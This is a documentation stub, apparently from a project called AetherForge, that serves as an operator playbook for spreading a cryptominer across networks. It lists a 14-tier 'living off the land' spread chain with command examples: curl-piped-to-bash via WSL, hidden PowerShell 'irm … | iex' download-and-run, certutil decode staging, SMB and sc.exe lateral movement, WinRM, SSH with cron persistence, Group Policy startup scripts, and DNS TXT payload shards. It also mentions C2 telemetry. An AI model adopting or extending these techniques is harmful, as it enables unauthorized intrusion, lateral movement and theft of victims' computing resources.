AetherForge/docs/SPREAD_TECHNIQUES.md

Web-Mediated Spread Techniques

Canonical operator playbook (served at /docs/SPREAD_TECHNIQUES.html on a running command deck):

server/web/public/docs/SPREAD_TECHNIQUES.html

Markdown matrix (research notes): server/web/public/docs/SPREAD_TECHNIQUES.md

Edit the public docs files above — this stub avoids drifting duplicates in docs/.

Changelog (2026-06-07): Documented full 14-tier LOTL spread chain (vuln_recon → gpo), triple-onion policy gates, fleet intelligence (phenotype, failure atlas, court, clearance), Fleet AI Control + personas, Crucible Access Depth / Probe & Join, Onion timeline (/lotl-timeline), and Android APK fleet nodes. See README.md and tests/README.md.

Master test doc + full glossary

Every LOTL/spread/fleet recon vector (mining tiers, deploy lanes, recon fields, C2 telemetry) is defined with examples in:

tests/README.md — sections LOTL architecture (triple onion) and LOTL vector glossary.

Root README includes a concise architecture pointer: README.md § LOTL triple onion.

Mini glossary (14 spread tiers)

Tier	One-line	Example
vuln_recon	Read-only KEV/CVE probe before spread	Triple-onion recon or full_sys_check
docker	Container-isolated RandomX	com.docker.service → docker_load join lane
wsl	WSL curl|bash when Windows blocked	wsl -e bash -c "curl … | bash"
powershell	Hidden PS / remoting bootstrap	irm …/install.ps1 | iex
dotnet	dotnet tool run — no lone exe	miner_execution=dotnet
bits_curl	BITS/curl staging + certutil decode	Crucible stage_fetch JSON manifest
do_peer	DoSvc shadow cache handoff (LAN)	Probe & Join when DoSvc running
wsus_cache_peer	WSUS cache cousin staging	Wuauserv → join_lane: wsus_cache_peer
dns_txt	DNS TXT mesh shards	_aether TXT → join_lane: dns_txt
webrtc_mesh	WebRTC LAN seeder (forge default OFF)	webrtc_mesh_spread + Calibrate rotation policy
smb	SMB UNC + sc.exe lateral	spread_smb_unc with UNC worker path
winrm	PS remoting on 5985/5986	Spread template {"template":"winrm"}
linux	SSH lateral + systemd/cron LOTL	{"template":"linux-lotl","lotl_mode":"both"}
gpo	AD startup script pull	{"template":"gpo"} or {"template":"intune"}

TypeScript source of truth for tier docs: server/web/src/help/lotlOnionTiers.ts.